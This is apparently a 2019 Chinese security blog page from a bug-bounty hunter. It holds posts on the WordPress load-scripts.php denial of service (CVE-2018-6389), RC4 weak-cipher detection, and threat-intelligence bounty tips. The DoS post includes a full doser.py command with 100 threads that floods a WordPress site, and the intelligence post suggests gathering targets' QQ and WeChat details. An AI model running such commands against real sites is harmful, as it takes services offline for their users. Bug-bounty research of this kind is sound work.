Hi! I'm L4ttIc3

发一些近日安排吧（划水篇）

作者: lattice
时间: 2019-02-17
分类: 生活日记,日常生活,日常吐槽
评论

## 开头语
像我这种菜鸡就只能挖这种傻逼刁钻的漏洞了（打扰，没耐心的还是别挖了...真的）
这个洞是之前挖某个src碰到了一个wordpress站，欸！信心满满好不好
毕竟想起n年前把某回收直接getshell，因为他们站也是用的wordpress（就是做得很大的那个某回收，况且很多人盯着他们网站的模板，的确做得不错，漏洞很早之前以及提交补天了）
## 问题详细
可发现站点所使用的网站系统为 wordpress4.6.x
出现问题的链接：https://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor&ver=4.9.1
可参考链接：https://www.vulnspy.com/cn-cve-2018-6389-wordpress-denial-of-service-dos-vulnerability/
导致拒绝服务的文件内容：
![微信截图_20190206204557.png](https://www.latticehub.xyz/usr/uploads/2019/02/3987330807.png)
咱们可以在这个js文件中看到，引用了很多的js和css文件
wordpress呢就允许用户通过这个load-scripts.php 文件一次性载入多个JS文件和CSS文件，例如请求`https://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor&ver=4.9.1`
此时load-scripts.php将自动加载jquery-ui-core和editor文件并返回文件内容
所以我们可以向这个js文件发起多次载入文件请求而消耗资源引起拒绝服务
## 利用方法
利用脚本：https://github.com/quitten/doser.py
构造命令：
```python
python doser.py -g 'http://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 100
```
## 利用结果
在多次请求之后最终可导致拒绝服务(没有开高线程，所以导致临时性的无法访问，但是长时间攻击即可导致网站一直无法访问)
![微信截图_20190206205520.png](https://www.latticehub.xyz/usr/uploads/2019/02/2809756839.png)
## 漏洞分析（引用自Vulnspy）
在文件`WordPress/wp-admin/load-scripts.php`中：
![微信截图_20190206205819.png](https://www.latticehub.xyz/usr/uploads/2019/02/1359091250.png)
load-scripts.php 文件会根据load参数传入的文件名依次载入文件并输出。同时程序对load参数的内容进行了过滤，只有在白名单$wp_scripts中的JS文件才会被载入。

该JS文件白名单的内容在文件`WordPress/wp-includes/script-loader.php`中：
![微信截图_20190206210013.png](https://www.latticehub.xyz/usr/uploads/2019/02/3392279952.png)
JS文件白名单中共有181个文件。如果我们请求`load-scripts.php`文件使其同时载入全部JS文件，PHP代码将要进行181次的读取操作。若同时发起多个载入全部JS文件的请求，这将极大地消耗服务器资源，即有可能导致网站无法正常响应其他用户的请求。

对话题“cors跨域漏洞如何进行学习”的热情回复——补天社区

作者: lattice
时间: 2019-02-03
分类: 网络安全
评论

对主机漏洞-RC4弱密码套件的深度剖析(CVE-2015-2808)

作者: lattice
时间: 2019-02-03
分类: 网络安全
1 条评论

## 事情起因
去年九月份那会一直再刷某个SRC的漏洞，由于自己比较懒，所以经常会使用扫描器进行扫描
结果wvs发现了这个漏洞
[![](https://www.latticehub.xyz/usr/uploads/2019/01/2867361218.png)](https://www.latticehub.xyz/usr/uploads/2019/01/2867361218.png)
当时想着有一个洞算一个洞吧...
所以就尝试着研究一下这个漏洞是怎么利用的
## 漏洞成因
RC4这套加密方法是在20世纪末期被研究出来并在2000年左右被大量的网站所使用，但是在02年出现了漏洞且持续了13年才被一个外国大佬所发现
成因总结来说:就是加密方式太老了，长时间更换网站加密方式导致了攻击者可以进行中间人攻击，能够有效地进行大量用户的嗅探监听和会话劫持
## 漏洞影响
攻击者可以在特定环境下只通过嗅探监听就可以还原采用RC4保护的加密信息中的纯文本，导致账户、密码、信用卡信息等重要敏感信息暴露，并且可以通过中间人对用户进行会话劫持同时可以获取到网站服务器证书信息
## 漏洞发现
**确定服务器使用了RC4加密套件且开放443了端口**
(意思并非开放了443端口的都是存在该漏洞)
为啥说是要开放443端口呢？
因为...碰到次数太多了，经验告诉我存在该漏洞的网站都需要打开443端口，所以可以说网站的RC4加密是基于443端口的(本人菜鸡，求勿喷)
手工的话...基本发现不了，所以直接扫描器一波乱扫或者开端口扫描吧
## 漏洞利用（实例）
**利用条件：服务器使用了RC4加密套件且开启了443端口**
系统安装了Openssl的情况下，使用linux或者macos命令：
`openssl s_client -connect xxx.com:443 -cipher RC4 `(xxx.com改成目标站点)
或许到这里，有的朋友可能会问“网上还有检查该漏洞的Nmap命令，为啥我不写上”
因为我用了一下，Nmap检测改漏洞的结果...比不上直接用Openssl来的直观(并不是说Nmap就很差)，所以本人一直用的是Openssl的命令来检测
下面也会放出使用Nmap的命令检测该漏洞：
`nmap -p 443 --script=ssl-enum-ciphers xxx.com`(xxx.com改成目标站点)
最后检测结果类似下图可以直接获取服务器证书的话，就说明存在漏洞
[![](https://www.latticehub.xyz/usr/uploads/2019/01/3397101383.png)](https://www.latticehub.xyz/usr/uploads/2019/01/3397101383.png)
但是，如果结果显示"sslv3 alerthandshake failure"等内容的话，就表明服务器没有这个漏洞且获取不到服务器证书
## 漏洞影响等级/奖励参考
影响等级：中危
SRC奖励参考:±150RMB
(仅供参考，具体按各个平台审核标准来定)
### 参考链接(修复漏洞)：
https://www.cnblogs.com/pshell/p/7942059.html
https://blog.csdn.net/Amdy_amdy/article/details/82781414

关于威胁情报挖掘的一些小问题总结以及科普

作者: lattice
时间: 2019-02-03
分类: 网络安全
评论

（国外真的太无聊了。。写写文章取取暖，下面有很多文字而且也是临时有feel想写的。。有点乱大家别介意）
ok，说到情报这种东西大家肯定都不陌生
在我们的补天平台以及各大厂商的src平台都非常看重情报问题以及都会出现提交情报的入口
举个例子：
![t0132819974171b7bad.jpg][1]
在补天平台情报提交处的右侧大家肯定都可以看到情报收集的范围liǎo，但是嘞是一个大的情报收集范围，却没有更加细致的深入（不过好多大佬还是挖洞为主。。我等菜鸡挖不到只能去抓情报了）
到这里，可能大家会有个疑问哈，为啥有个别大佬的情报降级能这么高，为啥我找的情报都是一点点积分嘞？
因为我也碰到这种问题，所以某次src的年夜饭私底下问了一下运营到底是为啥，我在这里偷偷的给大家说说
首先，darkweb里卖数据等情报其实src里面其实都有蓝军在风控，包括各种某某娱乐网里面经常出现的薅羊毛那一块的问题，其实薅的量少他们自己是默认的，即使大量薅的也是会对他们的数量进行控制（比如说：rmb积少成多后面就只给他们薅一些用户的各种积分啥的了）
一些令人马飞难受的截图：
![t01e413a6b049da1c8e.jpg][2]
![t01fa718cbc18a7c6c8.jpg][3]
但是为什么个别大佬的情报奖金能这么高？？
大部分真正情报高分的大佬，都是其实自己都在干灰黑产的
举个例子（我就写成一个小故事，可能大家更好理解吧。。）：
有一个黑灰产团队的两批坏人（下面统称为坏人1和坏人2）都是在弄同一个集团旗下的黑灰产，只不过坏人1和坏人2弄的业务不一样，可能是因为黑灰产业务淡季？？为了赚钱，结果坏人1把坏人2卖灰黑产的坏事当作情报交给了这个集团的src啦，因为他们是同一个团队，所以知晓坏人2他们买卖灰黑产的整个流程，导致坏人1交上去的情报非常高分
结果这件事情被坏人2也知道了（好气哟），就反过来把坏人1他们干的事情也当作情报交到了集团的src
最后就出现了个别情报非常高分的大佬
（嘿嘿。。其实他们干的啥事情，src自己是知道的）
好啦，通过这个故事大家肯定知道liǎo为什么有些提交一个情报都能拿到这么高奖金是为啥了吧？
那我再给大家讲讲那里可以经常抓到情报这个小坏蛋8:
1、各种娱乐网（薅羊毛首当其冲）
2、个人博客（会出现一些破解技术鸭或者一些风险操作的过程的文章）
3、个别科技分享论坛
4、各种黑客论坛（什么破解软件、入侵教程啥的都可以经常看到）
确定了情报经常出现的地方后，我就给大家讲讲本人常挖的情报以及情报的划分和提交情报的格式、套路等
首先！！！！
大家要知道情报分为业务情报和技术情报且套现、恶意言论、恶意广告、大量薅羊毛等都属于情报的范围之内（我经常会关注到这类型并且出现的比较多）
甚至还有就是某某软件的破解版被别人发到了网上也可以算是情报哦！
下面是情报的划分
![t015f122f31e04b51eb.jpg][4]
![t01883b135966416fae.jpg][5]
（！！不是广告！！大家可以参考asrc的情报定级标准，因为我个人觉得这是我看到对情报这类型问题最全面的一个解释：https://security.alibaba.com/announcement/announcement?spm=0.0.0.0.PVOBVM&id=80）
![t0191e71cf1a72081b6.jpg][6]
参考了上面链接，我在提交情报时总结出了一个格式：
1、在哪里发现的这个情报，通过了什么方法发现的以及发现时间
2、这个人是谁，他在做什么对该公司有风险的事情
3、对做有风险的事情的这个人进行深入调查（可以提供QQ/Wechat等信息，但是最好在明网做此类型操作，在darkweb不建议，因为涉及到白帽子个人风险以及可能需要资金）
4、提供有关图片或者页面的截图+网址（在明网社工大佬还可以深入到地址等情报信息。。但是在darkweb强烈不推荐此类型操作！！）
5、导致了什么风险，风险涉及的范围有多广
附加点（本人经历，可以对提升情报奖励有帮助哦）：
6、你可以将你提交的情报写的有攻击性一些，比如：某某页面出现的某某字眼或者图片表明了该人目的明确，完全可以导致什么什么风险发生（前提是你有把握自己将提交高危情报并且有大几率通过）
7、修复方案那里一定要认真写哦，就写对这类型风险如何预防就好啦
注意事项：
1、darkweb的情报提供截图以及链接即可，注意安全且不要花钱去购买相关信息
2、不要提供纯文字的情报，因为会当作广告忽略掉（本人经历，泪流成河）
ok，到这里大家应该对威胁情报的挖掘以及情报提交等操作有了一个更深入的了解了吧8
最后再偷偷的给大家说个小套路
很多大佬肯定都是以挖洞为主，当然大家可以在挖洞的过程中留意下可能会有他人的入侵痕迹啥的，也可以进行一个溯源，最后当作漏洞+情报一起提交哦，或许你原本可以拿到的奖励就翻倍liǎo鸭

[1]: https://www.latticehub.xyz/usr/uploads/2019/01/212233342.jpg
  [2]: https://www.latticehub.xyz/usr/uploads/2019/01/4073268508.jpg
  [3]: https://www.latticehub.xyz/usr/uploads/2019/01/3013542070.jpg
  [4]: https://www.latticehub.xyz/usr/uploads/2019/01/3611015485.jpg
  [5]: https://www.latticehub.xyz/usr/uploads/2019/01/2214179139.jpg
  [6]: https://www.latticehub.xyz/usr/uploads/2019/01/2658457913.jpg

发一些近日安排吧（划水篇）

分享一个连审核都不想审，就给了1分的刁钻拒绝服务案例

对话题“cors跨域漏洞如何进行学习”的热情回复——补天社区

对主机漏洞-RC4弱密码套件的深度剖析(CVE-2015-2808)

关于威胁情报挖掘的一些小问题总结以及科普

最新文章

最近回复

分类

归档

其它